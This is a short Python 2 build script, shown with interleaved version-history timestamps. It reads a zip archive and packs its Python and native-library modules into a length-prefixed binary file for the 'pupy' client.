pupy/client/gen_library_compressed_stri...

38 lines
810 B
Python
Raw Normal View History

2015-09-21 19:53:37 +00:00
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import StringIO, zipfile, os.path, imp, sys, os
2017-09-18 21:36:16 +00:00
#import pylzma
2016-11-26 09:20:33 +00:00
import struct
2015-09-21 19:53:37 +00:00
from io import open
def get_encoded_library_string(filepath, out):
dest = os.path.dirname(filepath)
if not os.path.exists(dest):
os.makedirs(dest)
2015-09-21 19:53:37 +00:00
f = StringIO.StringIO()
f.write(open(filepath, 'rb').read())
2015-09-21 19:53:37 +00:00
zip = zipfile.ZipFile(f)
modules = dict([
(z.filename, zip.open(z.filename,).read()) for z in zip.infolist() \
if os.path.splitext(z.filename)[1] in [
'.py', '.pyd', '.dll', '.pyc', '.pyo', '.so', '.toc'
]
])
2015-09-21 19:53:37 +00:00
ks = len(modules)
out.write(struct.pack('>I', ks))
for k,v in modules.iteritems():
out.write(struct.pack('>II', len(k), len(v)))
out.write(k)
out.write(v)
with open(sys.argv[1],'wb') as w:
get_encoded_library_string(sys.argv[2], w)